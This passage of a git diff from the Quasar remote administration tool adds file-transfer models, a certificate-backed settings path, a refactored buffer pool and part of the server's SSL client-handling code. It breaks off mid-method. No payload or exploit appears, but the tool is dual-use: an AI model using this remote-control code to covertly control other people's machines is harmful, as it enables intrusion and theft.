32, 141, 102, 158, 186, 241, 59, 192, 186, 36, 41, 133, 115, 108, 121, 34, 104, 57, 141, + 167, 160, 58, 95, 171, 215, 122, 153, 129, 166, 10, 190, 60, 51, 70, 157, 141, 11, 104, 255, 111, 160, 173, + 174, 77, 83, 63, 130, 219, 36, 90, 254, 34, 55, 195, 216, 112, 194, 15, 126, 149, 143, 145, 175, 72, 24, + 120, 140, 217, 215, 27, 107, 240, 196, 196, 234, 81, 154, 152, 12, 44, 108, 173, 210, 32, 181, 172, 148, 75, + 71, 89, 136, 224, 28, 229, 121, 76, 64, 60, 200, 60, 200, 88, 193, 217, 252, 162, 181, 215, 99, 86, 47, 181, + 16, 49, 65, 158, 78, 130, 204, 188, 196, 25, 224, 201, 106, 237, 103, 183, 96, 58, 64, 185, 28, 66, 178, + 213, 47, 103, 26, 89, 33, 97, 248, 34, 232, 27, 30, 93, 57, 1, 236, 105, 46, 59, 4, 188, 47, 182, 150, 65, + 195, 107, 203, 52, 149, 240, 16, 130, 254, 189, 98, 56, 221, 177, 163, 66, 62, 123, 0, 252, 169, 178, 166, + 68, 167, 75, 64, 161, 80, 85, 196, 98, 209, 248, 46, 115, 188, 0, 160, 123, 147, 79, 151, 188, 206, 158, + 145, 42, 212, 205, 37, 163, 76, 221, 146, 51, 229, 181, 127, 53, 157, 142, 107, 215, 231, 181, 32, 110, 2, + 13, 55, 122, 56, 226, 158, 126, 124, 193, 193, 172, 222, 9, 211, 83, 166, 69, 95, 145, 169, 31, 211, 139, + 62, 215, 90, 226, 244, 129, 197, 143, 228, 185, 206, 236, 90, 218, 189, 234, 69, 57, 25, 49, 152, 175, 211, + 136, 202, 160, 116, 56, 118, 27, 204, 213, 3, 163, 97, 194, 156, 213, 7, 9, 254, 203, 230, 252, 173, 231, + 197, 135, 224, 3, 206, 157, 166, 193, 184, 153, 57, 253, 229, 87, 234, 118, 50, 163, 151, 53, 82, 206, 36, + 206, 128, 41, 180, 11, 30, 110, 49, 216, 236, 201, 46, 88, 157, 92, 221, 106, 88, 82, 198, 33, 91, 171, 117, + 88, 146, 58, 2, 30, 233, 215, 105, 141, 228, 183, 124, 244, 231, 224, 165, 131, 9, 33, 230, 211, 56, 215, + 221, 38, 141, 158, 48, 250, 119, 102, 226, 206, 32, 70, 140, 53, 210, 12, 206, 88, 220, 35, 2, 195, 157, 7, + 9, 215, 158, 85, 149, 89, 101, 46, 3, 253, 195, 82, 2, 12, 19, 149, 52, 209, 8, 242, 145, 34, 109, 185, 236, + 18, 2, 109, 96, 251, 3, 169, 68, 185, 63, 6, 213, 239, 100, 248, 111, 131, 243, 252, 214, 16, 140, 38, 159, + 138, 17, 141, 98, 96, 137, 140, 243, 11, 120, 69, 229, 212, 71, 2, 254, 98, 171, 207, 69, 72, 70, 186, 83, + 193, 208, 174, 125, 197, 148, 69, 35, 147, 134, 156, 106, 41, 72, 111, 140, 65, 185, 110, 212, 225, 34, 198, + 198, 47, 142, 160, 78, 217, 170, 7, 114, 50, 164, 217, 15, 37, 186, 211, 124, 75, 133, 64, 165, 120, 246, + 22, 226, 204, 186, 137, 154, 130, 142, 238, 147, 188, 206, 129, 19, 177, 117, 166, 180, 211, 16, 221, 29, + 112, 161, 109, 137, 224, 173, 205, 53, 158, 63, 198, 250, 131, 145, 118, 119, 12, 157, 94, 232, 27, 60, 254, + 57, 223, 154, 185, 96, 127, 137, 166, 238, 1, 58, 153, 154, 188, 9, 89, 20, 102, 191, 2, 106, 31, 27, 11, + 221, 206, 26, 145, 142, 192, 196, 28, 230, 213, 149, 52, 63, 48, 137, 25, 254, 27, 205, 207, 20, 5, 12, 37, + 34, 98, 188, 70, 50, 181, 187, 224, 166, 251, 59, 47, 226, 11, 130, 158, 52, 28, 70, 162, 165, 49, 111, 198, + 39, 64, 90, 213, 7, 91, 38, 95, 126, 160, 222, 205, 89, 27, 39, 1, 148, 126, 204, 179, 207, 235, 184, 7, 74, + 37, 64, 189, 167, 234, 196, 149, 160, 24, 111, 152, 246, 17, 184, 83, 189, 158, 106, 78, 221, 108, 87, 128, + 113, 112, 207, 53, 93, 48, 65, 128, 64, 194, 141, 126, 185, 130, 190, 66, 1, 20, 245, 213, 137, 66, 119, 18, + 225, 24, 225, 193, 179, 76, 132, 207, 169, 66, 221, 180, 135, 80, 17, 52, 243, 129, 80, 64, 151, 14, 65, + 233, 83, 72, 49, 251, 59, 67, 92, 87, 110, 34, 77, 14, 168, 126, 236, 155, 238, 213, 60, 233, 173, 83, 150, + 105, 241, 255, 97, 54, 48, 32, 93, 52, 30, 25, 227, 37, 151, 191, 46, 59, 19, 19, 225, 68, 161, 179, 19, + 144, 207, 67, 230, 67, 45, 197, 4, 162, 215, 43, 80, 96, 124, 130, 246, 27, 164, 94, 174, 205, 98, 102, 83, + 173, 247, 21, 11, 250, 32, 119, 29, 77, 42, 190, 97, 134, 48, 219, 57, 50, 52, 55, 184, 242, 109, 136, 100, + 214, 224, 129, 197, 233, 130, 119, 0, 242, 203, 131, 124, 175, 210, 225, 56, 53, 238, 177, 236, 77, 173, 82, + 83, 223, 217, 232, 149, 146, 184, 166, 40, 126, 134, 34, 50, 204, 75, 120, 124, 62, 139, 166, 244, 2, 38, + 172, 55, 41, 38, 206, 160, 17, 30, 163, 160, 110, 81, 182, 56, 1, 225, 252, 100, 24, 24, 231, 188, 239, 106, + 162, 108, 87, 120, 51, 80, 96, 184, 252, 121, 238, 164, 197, 30, 205, 52, 54, 95, 27, 96, 227, 161, 87, 127, + 98, 255, 5, 10, 92, 76, 93, 110, 237, 22, 176, 152, 10, 145, 194, 233, 38, 148, 237, 233, 134, 202, 52, 239, + 169, 47, 243, 189, 103, 232, 142, 146, 215, 49, 130, 1, 3, 48, 19, 6, 9, 42, 134, 72, 134, 247, 13, 1, 9, + 21, 49, 6, 4, 4, 1, 0, 0, 0, 48, 113, 6, 9, 42, 134, 72, 134, 247, 13, 1, 9, 20, 49, 100, 30, 98, 0, 66, 0, + 111, 0, 117, 0, 110, 0, 99, 0, 121, 0, 67, 0, 97, 0, 115, 0, 116, 0, 108, 0, 101, 0, 45, 0, 97, 0, 48, 0, + 48, 0, 101, 0, 98, 0, 48, 0, 102, 0, 54, 0, 45, 0, 98, 0, 50, 0, 99, 0, 54, 0, 45, 0, 52, 0, 51, 0, 57, 0, + 57, 0, 45, 0, 98, 0, 56, 0, 52, 0, 52, 0, 45, 0, 52, 0, 102, 0, 55, 0, 98, 0, 56, 0, 97, 0, 53, 0, 99, 0, + 99, 0, 97, 0, 51, 0, 101, 48, 121, 6, 9, 43, 6, 1, 4, 1, 130, 55, 17, 1, 49, 108, 30, 106, 0, 77, 0, 105, 0, + 99, 0, 114, 0, 111, 0, 115, 0, 111, 0, 102, 0, 116, 0, 32, 0, 69, 0, 110, 0, 104, 0, 97, 0, 110, 0, 99, 0, + 101, 0, 100, 0, 32, 0, 82, 0, 83, 0, 65, 0, 32, 0, 97, 0, 110, 0, 100, 0, 32, 0, 65, 0, 69, 0, 83, 0, 32, 0, + 67, 0, 114, 0, 121, 0, 112, 0, 116, 0, 111, 0, 103, 0, 114, 0, 97, 0, 112, 0, 104, 0, 105, 0, 99, 0, 32, 0, + 80, 0, 114, 0, 111, 0, 118, 0, 105, 0, 100, 0, 101, 0, 114, 48, 130, 5, 143, 6, 9, 42, 134, 72, 134, 247, + 13, 1, 7, 6, 160, 130, 5, 128, 48, 130, 5, 124, 2, 1, 0, 48, 130, 5, 117, 6, 9, 42, 134, 72, 134, 247, 13, + 1, 7, 1, 48, 28, 6, 10, 42, 134, 72, 134, 247, 13, 1, 12, 1, 3, 48, 14, 4, 8, 197, 180, 184, 234, 62, 183, + 126, 192, 2, 2, 7, 208, 128, 130, 5, 72, 82, 253, 63, 238, 110, 242, 96, 184, 169, 64, 162, 143, 164, 116, + 242, 201, 183, 48, 112, 176, 72, 130, 247, 187, 199, 107, 16, 243, 59, 238, 135, 24, 177, 105, 228, 132, 35, + 235, 193, 103, 217, 193, 235, 32, 106, 47, 90, 187, 129, 92, 191, 73, 144, 37, 5, 197, 190, 39, 243, 83, 21, + 161, 49, 59, 4, 20, 196, 238, 174, 98, 66, 242, 28, 1, 64, 47, 11, 244, 179, 45, 233, 11, 14, 243, 228, 32, + 116, 163, 144, 99, 153, 3, 60, 140, 225, 179, 5, 36, 120, 230, 202, 163, 174, 255, 75, 237, 233, 47, 60, + 199, 128, 161, 221, 232, 62, 29, 141, 232, 203, 237, 235, 192, 63, 11, 131, 67, 115, 141, 127, 14, 162, 124, + 17, 103, 207, 77, 158, 149, 108, 91, 67, 135, 123, 167, 133, 118, 22, 129, 57, 232, 95, 163, 123, 170, 191, + 180, 46, 205, 125, 163, 109, 20, 74, 227, 189, 68, 215, 146, 212, 38, 127, 73, 195, 207, 222, 227, 134, 145, + 6, 21, 223, 217, 237, 134, 129, 140, 153, 182, 143, 250, 219, 162, 254, 157, 18, 16, 141, 176, 249, 165, + 118, 85, 98, 35, 139, 214, 165, 27, 23, 63, 182, 201, 104, 202, 124, 81, 213, 194, 8, 108, 81, 126, 142, + 221, 175, 122, 165, 16, 153, 170, 31, 178, 122, 86, 73, 133, 136, 34, 177, 129, 90, 72, 24, 251, 91, 246, + 76, 186, 195, 122, 227, 93, 26, 71, 137, 201, 99, 222, 196, 156, 62, 195, 88, 46, 29, 254, 83, 23, 41, 143, + 103, 111, 79, 206, 5, 207, 10, 168, 23, 18, 197, 245, 24, 70, 154, 226, 196, 70, 147, 119, 217, 198, 196, + 171, 33, 121, 64, 180, 51, 50, 85, 57, 93, 179, 240, 248, 233, 139, 7, 191, 75, 193, 123, 119, 42, 239, 228, + 95, 145, 90, 67, 178, 119, 229, 71, 139, 57, 188, 152, 152, 153, 155, 1, 94, 238, 174, 215, 145, 56, 255, + 190, 101, 2, 136, 71, 228, 28, 7, 0, 166, 10, 122, 152, 40, 39, 125, 97, 206, 39, 41, 119, 61, 87, 14, 234, + 251, 29, 109, 14, 132, 20, 234, 182, 228, 218, 39, 4, 5, 118, 22, 37, 249, 138, 243, 253, 137, 27, 151, 87, + 27, 37, 77, 149, 96, 152, 24, 56, 1, 64, 231, 162, 137, 243, 105, 255, 97, 35, 41, 12, 25, 197, 79, 167, 79, + 187, 73, 229, 148, 253, 203, 46, 186, 201, 126, 225, 0, 218, 151, 176, 14, 243, 43, 178, 128, 153, 47, 182, + 215, 45, 3, 39, 191, 73, 215, 148, 26, 15, 98, 88, 41, 241, 160, 143, 77, 208, 218, 204, 113, 105, 169, 170, + 181, 93, 137, 112, 248, 17, 158, 240, 115, 117, 9, 220, 50, 103, 126, 151, 227, 146, 168, 132, 214, 100, + 167, 30, 113, 117, 163, 174, 177, 1, 88, 191, 53, 218, 213, 48, 39, 62, 179, 88, 37, 212, 69, 173, 199, 226, + 152, 80, 175, 165, 79, 67, 212, 249, 70, 109, 3, 160, 46, 253, 197, 14, 75, 79, 48, 4, 128, 217, 254, 167, + 114, 126, 46, 179, 36, 64, 3, 48, 216, 53, 50, 100, 80, 141, 48, 100, 32, 60, 109, 58, 216, 38, 218, 242, + 28, 117, 187, 163, 193, 168, 78, 6, 27, 200, 73, 103, 204, 80, 85, 174, 61, 143, 227, 84, 226, 127, 196, + 151, 18, 5, 128, 12, 187, 137, 68, 219, 159, 132, 113, 105, 243, 230, 96, 50, 26, 88, 102, 78, 102, 76, 14, + 252, 89, 180, 192, 85, 243, 127, 87, 123, 233, 136, 17, 174, 223, 103, 203, 187, 56, 129, 229, 199, 190, + 120, 25, 18, 61, 140, 197, 3, 66, 10, 65, 217, 235, 165, 62, 112, 119, 101, 106, 184, 203, 169, 184, 115, 2, + 205, 8, 125, 153, 84, 195, 215, 139, 249, 195, 102, 108, 79, 23, 177, 131, 212, 229, 39, 8, 176, 233, 188, + 216, 199, 37, 109, 122, 101, 81, 98, 178, 167, 215, 12, 37, 27, 137, 165, 249, 131, 40, 202, 162, 36, 184, + 88, 76, 185, 246, 167, 125, 116, 198, 109, 135, 98, 124, 223, 188, 186, 216, 155, 224, 237, 140, 52, 203, + 89, 65, 121, 251, 216, 85, 212, 164, 98, 204, 253, 102, 246, 19, 158, 187, 186, 60, 94, 44, 62, 147, 243, + 183, 82, 6, 28, 87, 198, 133, 28, 129, 12, 55, 84, 163, 238, 46, 176, 28, 132, 44, 199, 234, 28, 73, 27, + 190, 108, 85, 146, 53, 248, 134, 30, 227, 172, 250, 77, 225, 101, 105, 167, 99, 214, 192, 31, 3, 96, 52, 51, + 237, 165, 164, 101, 228, 88, 251, 44, 142, 225, 98, 72, 180, 50, 13, 66, 59, 173, 238, 197, 168, 188, 28, + 135, 195, 69, 247, 87, 216, 50, 52, 227, 16, 127, 162, 23, 58, 20, 120, 62, 184, 62, 122, 23, 209, 110, 168, + 26, 1, 182, 1, 130, 111, 224, 191, 93, 202, 68, 76, 243, 38, 225, 80, 219, 232, 145, 191, 84, 27, 69, 41, + 125, 229, 148, 119, 183, 52, 95, 219, 152, 41, 182, 89, 254, 166, 155, 125, 26, 233, 98, 150, 146, 10, 53, + 171, 176, 31, 138, 99, 74, 34, 228, 72, 202, 5, 120, 160, 135, 185, 222, 227, 42, 233, 74, 219, 101, 213, 2, + 112, 46, 108, 45, 49, 158, 185, 241, 83, 240, 167, 0, 140, 160, 194, 171, 2, 150, 96, 145, 214, 109, 31, 83, + 84, 62, 147, 54, 236, 193, 231, 187, 223, 83, 62, 251, 24, 79, 41, 30, 133, 241, 251, 191, 90, 187, 231, + 123, 115, 120, 41, 32, 134, 228, 202, 91, 81, 112, 34, 201, 223, 39, 208, 79, 117, 244, 151, 247, 98, 125, + 193, 220, 152, 195, 226, 1, 135, 24, 13, 227, 1, 24, 226, 101, 167, 131, 219, 173, 198, 31, 113, 248, 174, + 125, 159, 108, 79, 129, 7, 253, 13, 148, 21, 24, 123, 46, 56, 195, 15, 151, 197, 50, 251, 8, 48, 14, 164, + 51, 101, 46, 186, 241, 222, 221, 24, 99, 236, 255, 76, 3, 236, 67, 81, 154, 144, 196, 18, 119, 139, 127, + 241, 1, 89, 102, 172, 142, 87, 134, 56, 81, 120, 191, 242, 168, 237, 47, 143, 117, 146, 179, 137, 123, 243, + 14, 116, 94, 46, 219, 228, 209, 9, 94, 245, 83, 145, 153, 5, 62, 120, 49, 23, 36, 202, 50, 168, 108, 206, + 236, 119, 112, 187, 112, 120, 134, 62, 252, 108, 143, 115, 235, 254, 196, 119, 60, 163, 223, 188, 175, 57, + 77, 236, 99, 99, 197, 127, 196, 39, 58, 39, 24, 10, 212, 227, 37, 248, 219, 112, 161, 176, 82, 199, 97, 179, + 252, 60, 98, 209, 44, 161, 5, 63, 54, 154, 66, 9, 1, 56, 42, 25, 140, 75, 177, 135, 136, 212, 18, 241, 178, + 235, 115, 17, 99, 158, 113, 17, 4, 192, 30, 176, 238, 68, 171, 120, 76, 52, 145, 103, 30, 242, 130, 185, 85, + 19, 50, 180, 88, 213, 4, 62, 190, 238, 172, 203, 145, 233, 45, 53, 228, 144, 16, 180, 96, 89, 231, 141, 146, + 106, 199, 65, 241, 227, 173, 126, 204, 183, 18, 8, 18, 223, 196, 225, 151, 115, 0, 101, 21, 96, 49, 47, 130, + 18, 204, 70, 52, 189, 5, 107, 171, 47, 36, 209, 8, 166, 23, 183, 222, 154, 226, 13, 197, 166, 222, 197, 182, + 50, 155, 180, 156, 105, 244, 205, 226, 29, 128, 90, 126, 38, 9, 166, 195, 86, 22, 107, 253, 160, 163, 95, + 15, 23, 254, 115, 14, 219, 16, 159, 217, 116, 28, 13, 199, 147, 205, 182, 225, 185, 207, 89, 192, 169, 93, + 205, 226, 196, 204, 23, 168, 185, 121, 109, 126, 52, 222, 109, 248, 235, 64, 88, 101, 188, 246, 150, 193, + 90, 29, 131, 134, 149, 170, 240, 146, 169, 149, 250, 17, 49, 162, 6, 233, 194, 83, 210, 129, 141, 76, 115, + 151, 173, 48, 59, 48, 31, 48, 7, 6, 5, 43, 14, 3, 2, 26, 4, 20, 46, 139, 176, 16, 247, 139, 61, 176, 37, 63, + 246, 211, 123, 201, 3, 7, 235, 129, 230, 125, 4, 20, 175, 27, 113, 89, 19, 230, 155, 210, 161, 63, 10, 47, + 233, 189, 221, 31, 172, 172, 134, 47, 2, 2, 7, 208 + }; + + /// + /// Initializes a new instance of with a static dummy certificate. + /// + public DummyCertificate() :base(CertificateBytes) + { + } + } +} diff --git a/Quasar.Server/Models/FileManagerListTag.cs b/Quasar.Server/Models/FileManagerListTag.cs new file mode 100644 index 000000000..1229c5f47 --- /dev/null +++ b/Quasar.Server/Models/FileManagerListTag.cs @@ -0,0 +1,17 @@ +using Quasar.Common.Enums; + +namespace Quasar.Server.Models +{ + public class FileManagerListTag + { + public FileType Type { get; set; } + + public long FileSize { get; set; } + + public FileManagerListTag(FileType type, long fileSize) + { + this.Type = type; + this.FileSize = fileSize; + } + } +} diff --git a/Quasar.Server/Models/FileTransfer.cs b/Quasar.Server/Models/FileTransfer.cs new file mode 100644 index 000000000..e35f663b8 --- /dev/null +++ b/Quasar.Server/Models/FileTransfer.cs @@ -0,0 +1,71 @@ +using Quasar.Common.IO; +using Quasar.Common.Utilities; +using Quasar.Server.Enums; +using System; + +namespace Quasar.Server.Models +{ + public class FileTransfer : IEquatable + { + private static readonly SafeRandom Random = new SafeRandom(); + + public int Id { get; set; } + public TransferType Type { get; set; } + public long Size { get; set; } + public long TransferredSize { get; set; } + public string LocalPath { get; set; } + public string RemotePath { get; set; } + public string Status { get; set; } + public FileSplit FileSplit { get; set; } + + public bool Equals(FileTransfer other) + { + if (ReferenceEquals(null, other)) return false; + if (ReferenceEquals(this, other)) return true; + return Id == other.Id && Type == other.Type && Size == other.Size && + TransferredSize == other.TransferredSize && string.Equals(LocalPath, other.LocalPath) && + string.Equals(RemotePath, other.RemotePath) && string.Equals(Status, other.Status); + } + + /// + /// Creates a new object that is a copy of the current instance. + /// + /// A new object that is a copy of this instance. + public FileTransfer Clone() + { + return new FileTransfer() + { + Id = Id, Type = Type, Size = Size, TransferredSize = TransferredSize, LocalPath = LocalPath, + RemotePath = RemotePath, Status = Status, FileSplit = FileSplit + }; + } + + public static bool operator ==(FileTransfer f1, FileTransfer f2) + { + if (ReferenceEquals(f1, null)) + return ReferenceEquals(f2, null); + + return f1.Equals(f2); + } + + public static bool operator !=(FileTransfer f1, FileTransfer f2) + { + return !(f1 == f2); + } + + public override bool Equals(object obj) + { + return Equals(obj as FileTransfer); + } + + public override int GetHashCode() + { + return Id; + } + + public static int GetRandomTransferId() + { + return Random.Next(0, int.MaxValue); + } + } +} diff --git a/Server/Core/Data/Settings.cs b/Quasar.Server/Models/Settings.cs similarity index 91% rename from Server/Core/Data/Settings.cs rename to Quasar.Server/Models/Settings.cs index febbe9230..b68409cc5 100644 --- a/Server/Core/Data/Settings.cs +++ b/Quasar.Server/Models/Settings.cs @@ -3,13 +3,13 @@ using System.Xml; using System.Xml.XPath; -namespace xServer.Core.Data +namespace Quasar.Server.Models { public static class Settings { private static readonly string SettingsPath = Path.Combine(Application.StartupPath, "settings.xml"); - public static string RepositoryURL = @"https://github.com/quasar/QuasarRAT"; + public static readonly string CertificatePath = Path.Combine(Application.StartupPath, "quasar.p12"); public static ushort ListenPort { @@ -23,15 +23,15 @@ public static ushort ListenPort } } - public static bool ShowToU + public static bool IPv6Support { get { - return bool.Parse(ReadValueSafe("ShowToU", "True")); + return bool.Parse(ReadValueSafe("IPv6Support", "False")); } set { - WriteValue("ShowToU", value.ToString()); + WriteValue("IPv6Support", value.ToString()); } } @@ -83,18 +83,6 @@ public static bool ShowToolTip } } - public static string Password - { - get - { - return ReadValueSafe("Password", "1234"); - } - set - { - WriteValue("Password", value); - } - } - public static bool EnableNoIPUpdater { get @@ -234,4 +222,4 @@ private static void WriteValue(string pstrValueToRead, string pstrValueToWrite) } } } -} \ No newline at end of file +} diff --git a/Server/Core/Networking/Utilities/PooledBufferManager.cs b/Quasar.Server/Networking/BufferPool.cs similarity index 87% rename from Server/Core/Networking/Utilities/PooledBufferManager.cs rename to Quasar.Server/Networking/BufferPool.cs index 5025b511f..191d6d5a7 100644 --- a/Server/Core/Networking/Utilities/PooledBufferManager.cs +++ b/Quasar.Server/Networking/BufferPool.cs @@ -1,19 +1,18 @@ using System; using System.Collections.Generic; -namespace xServer.Core.Networking.Utilities +namespace Quasar.Server.Networking { /// /// Implements a pool of byte arrays to improve allocation performance when parsing data. /// - /// This type is safe for multithreaded operations. - public class PooledBufferManager + /// This type is safe for multi-threaded operations. + public class BufferPool { private readonly int _bufferLength; private int _bufferCount; private readonly Stack _buffers; - #region events /// /// Informs listeners when a new buffer beyond the initial length has been allocated. /// @@ -24,8 +23,9 @@ public class PooledBufferManager /// The event arguments. protected virtual void OnNewBufferAllocated(EventArgs e) { - if (NewBufferAllocated != null) - NewBufferAllocated(this, e); + var handler = NewBufferAllocated; + if (handler != null) + handler(this, e); } /// @@ -38,8 +38,9 @@ protected virtual void OnNewBufferAllocated(EventArgs e) /// The event arguments. protected virtual void OnBufferRequested(EventArgs e) { - if (BufferRequested != null) - BufferRequested(this, e); + var handler =BufferRequested; + if (handler != null) + handler(this, e); } /// @@ -52,12 +53,11 @@ protected virtual void OnBufferRequested(EventArgs e) /// The event arguments. protected virtual void OnBufferReturned(EventArgs e) { - if (BufferReturned != null) - BufferReturned(this, e); + var handler = BufferReturned; + if (handler != null) + handler(this, e); } - #endregion - #region properties /// /// Gets the size of the buffers allocated from this pool. /// @@ -77,18 +77,13 @@ public int MaxBufferCount /// /// Gets the current number of buffers available for use. /// - public int BuffersAvailable - { - get { return _buffers.Count; } - } + public int BuffersAvailable => _buffers.Count; /// /// Gets or sets whether to zero the contents of a buffer when it is returned. /// public bool ClearOnReturn { get; set; } - #endregion - #region constructor /// /// Creates a new buffer pool with the specified name, buffer sizes, and buffer count. /// @@ -96,7 +91,7 @@ public int BuffersAvailable /// The number of preallocated buffers that should be available. /// Thrown if or /// are zero or negative. - public PooledBufferManager(int baseBufferLength, int baseBufferCount) + public BufferPool(int baseBufferLength, int baseBufferCount) { if (baseBufferLength <= 0) throw new ArgumentOutOfRangeException("baseBufferLength", baseBufferLength, "Buffer length must be a positive integer value."); @@ -113,9 +108,7 @@ public PooledBufferManager(int baseBufferLength, int baseBufferCount) _buffers.Push(new byte[baseBufferLength]); } } - #endregion - #region methods /// /// Gets a buffer from the available pool if one is available, or else allocates a new one. /// @@ -126,15 +119,12 @@ public PooledBufferManager(int baseBufferLength, int baseBufferCount) /// A byte[] from the pool. public byte[] GetBuffer() { - if (_buffers.Count > 0) + lock (_buffers) { - lock (_buffers) + if (_buffers.Count > 0) { - if (_buffers.Count > 0) - { - byte[] buffer = _buffers.Pop(); - return buffer; - } + byte[] buffer = _buffers.Pop(); + return buffer; } } @@ -168,12 +158,7 @@ public bool ReturnBuffer(byte[] buffer) return false; if (ClearOnReturn) - { - for (int i = 0; i < _bufferLength; i++) - { - buffer[i] = 0; - } - } + Array.Clear(buffer, 0, buffer.Length); lock (_buffers) { @@ -237,11 +222,11 @@ public int DecreaseBufferCount(int buffersToRemove) { _buffers.Pop(); numRemoved++; + _bufferCount--; } } return numRemoved; } - #endregion } } \ No newline at end of file diff --git a/Quasar.Server/Networking/Client.cs b/Quasar.Server/Networking/Client.cs new file mode 100644 index 000000000..d913b7e33 --- /dev/null +++ b/Quasar.Server/Networking/Client.cs @@ -0,0 +1,590 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Collections.Generic; +using System.Net; +using System.Net.Security; +using System.Threading; + +namespace Quasar.Server.Networking +{ + public class Client : IEquatable, ISender + { + /// + /// Occurs when the state of the client changes. + /// + public event ClientStateEventHandler ClientState; + + /// + /// Represents the method that will handle a change in a client's state. + /// + /// The client which changed its state. + /// The new connection state of the client. + public delegate void ClientStateEventHandler(Client s, bool connected); + + /// + /// Fires an event that informs subscribers that the state of the client has changed. + /// + /// The new connection state of the client. + private void OnClientState(bool connected) + { + if (Connected == connected) return; + + Connected = connected; + + var handler = ClientState; + handler?.Invoke(this, connected); + } + + /// + /// Occurs when a message is received from the client. + /// + public event ClientReadEventHandler ClientRead; + + /// + /// Represents the method that will handle a message received from the client. + /// + /// The client that has received the message. + /// The message that received by the client. + /// The length of the message. + public delegate void ClientReadEventHandler(Client s, IMessage message, int messageLength); + + /// + /// Fires an event that informs subscribers that a message has been + /// received from the client. + /// + /// The message that received by the client. + /// The length of the message. + private void OnClientRead(IMessage message, int messageLength) + { + var handler = ClientRead; + handler?.Invoke(this, message, messageLength); + } + + /// + /// Occurs when a message is sent by the client. + /// + public event ClientWriteEventHandler ClientWrite; + + /// + /// Represents the method that will handle the sent message. + /// + /// The client that has sent the message. + /// The message that has been sent by the client. + /// The length of the message. + public delegate void ClientWriteEventHandler(Client s, IMessage message, int messageLength); + + /// + /// Fires an event that informs subscribers that the client has sent a message. + /// + /// The message that has been sent by the client. + /// The length of the message. + private void OnClientWrite(IMessage message, int messageLength) + { + var handler = ClientWrite; + handler?.Invoke(this, message, messageLength); + } + + public static bool operator ==(Client c1, Client c2) + { + if (ReferenceEquals(c1, null)) + return ReferenceEquals(c2, null); + + return c1.Equals(c2); + } + + public static bool operator !=(Client c1, Client c2) + { + return !(c1 == c2); + } + + /// + /// Checks whether the clients are equal. + /// + /// Client to compare with. + /// True if equal, else False. + public bool Equals(Client other) + { + if (ReferenceEquals(null, other)) return false; + if (ReferenceEquals(this, other)) return true; + + try + { + // the port is always unique for each client + return this.EndPoint.Port.Equals(other.EndPoint.Port); + } + catch (Exception) + { + return false; + } + } + + public override bool Equals(object obj) + { + return this.Equals(obj as Client); + } + + /// + /// Returns the hashcode for this instance. + /// + /// A hash code for the current instance. + public override int GetHashCode() + { + return this.EndPoint.GetHashCode(); + } + + /// + /// The type of the message received. + /// + public enum ReceiveType + { + Header, + Payload + } + + /// + /// The stream used for communication. + /// + private readonly SslStream _stream; + + /// + /// The buffer pool to hold the receive-buffers for the clients. + /// + private readonly BufferPool _bufferPool; + + /// + /// The queue which holds messages to send. + /// + private readonly Queue _sendBuffers = new Queue(); + + /// + /// Determines if the client is currently sending messages. + /// + private bool _sendingMessages; + + /// + /// Lock object for the sending messages boolean. + /// + private readonly object _sendingMessagesLock = new object(); + + /// + /// The queue which holds buffers to read. + /// + private readonly Queue _readBuffers = new Queue(); + + /// + /// Determines if the client is currently reading messages. + /// + private bool _readingMessages; + + /// + /// Lock object for the reading messages boolean. + /// + private readonly object _readingMessagesLock = new object(); + + // receive info + private int _readOffset; + private int _writeOffset; + private int _readableDataLen; + private int _payloadLen; + private ReceiveType _receiveState = ReceiveType.Header; + + /// + /// The time when the client connected. + /// + public DateTime ConnectedTime { get; } + + /// + /// The connection state of the client. + /// + public bool Connected { get; private set; } + + /// + /// Determines if the client is identified. + /// + public bool Identified { get; set; } + + /// + /// Stores values of the user. + /// + public UserState Value { get; set; } + + /// + /// The Endpoint which the client is connected to. + /// + public IPEndPoint EndPoint { get; } + + /// + /// The buffer for the client's incoming messages. + /// + private readonly byte[] _readBuffer; + + /// + /// The buffer for the client's incoming payload. + /// + private byte[] _payloadBuffer; + + /// + /// The header size in bytes. + /// + private const int HeaderSize = 4; // 4 B + + /// + /// The maximum size of a message in bytes. + /// + private const int MaxMessageSize = (1024 * 1024) * 5; // 5 MB + + /// + /// The mutex prevents multiple simultaneous write operations on the . + /// + private readonly Mutex _singleWriteMutex = new Mutex(); + + public Client(BufferPool bufferPool, SslStream stream, IPEndPoint endPoint) + { + try + { + Identified = false; + Value = new UserState(); + EndPoint = endPoint; + ConnectedTime = DateTime.UtcNow; + _stream = stream; + _bufferPool = bufferPool; + _readBuffer = _bufferPool.GetBuffer(); + _stream.BeginRead(_readBuffer, 0, _readBuffer.Length, AsyncReceive, null); + OnClientState(true); + } + catch (Exception) + { + Disconnect(); + } + } + + private void AsyncReceive(IAsyncResult result) + { + int bytesTransferred; + + try + { + bytesTransferred = _stream.EndRead(result); + + if (bytesTransferred <= 0) + throw new Exception("no bytes transferred"); + } + catch (NullReferenceException) + { + return; + } + catch (ObjectDisposedException) + { + return; + } + catch (Exception) + { + Disconnect(); + return; + } + + byte[] received = new byte[bytesTransferred]; + + try + { + Array.Copy(_readBuffer, received, received.Length); + } + catch (Exception) + { + Disconnect(); + return; + } + + lock (_readBuffers) + { + _readBuffers.Enqueue(received); + } + + lock (_readingMessagesLock) + { + if (!_readingMessages) + { + _readingMessages = true; + ThreadPool.QueueUserWorkItem(AsyncReceive); + } + } + + try + { + _stream.BeginRead(_readBuffer, 0, _readBuffer.Length, AsyncReceive, null); + } + catch (ObjectDisposedException) + { + } + catch (Exception) + { + Disconnect(); + } + } + + private void AsyncReceive(object state) + { + while (true) + { + byte[] readBuffer; + lock (_readBuffers) + { + if (_readBuffers.Count == 0) + { + lock (_readingMessagesLock) + { + _readingMessages = false; + } + return; + } + + readBuffer = _readBuffers.Dequeue(); + } + + _readableDataLen += readBuffer.Length; + bool process = true; + while (process) + { + switch (_receiveState) + { + case ReceiveType.Header: + { + if (_payloadBuffer == null) + _payloadBuffer = new byte[HeaderSize]; + + if (_readableDataLen + _writeOffset >= HeaderSize) + { + // completely received header + int headerLength = HeaderSize - _writeOffset; + + try + { + Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, headerLength); + + _payloadLen = BitConverter.ToInt32(_payloadBuffer, _readOffset); + + if (_payloadLen <= 0 || _payloadLen > MaxMessageSize) + throw new Exception("invalid header"); + + // try to re-use old payload buffers which fit + if (_payloadBuffer.Length <= _payloadLen + HeaderSize) + Array.Resize(ref _payloadBuffer, _payloadLen + HeaderSize); + } + catch (Exception) + { + process = false; + Disconnect(); + break; + } + + _readableDataLen -= 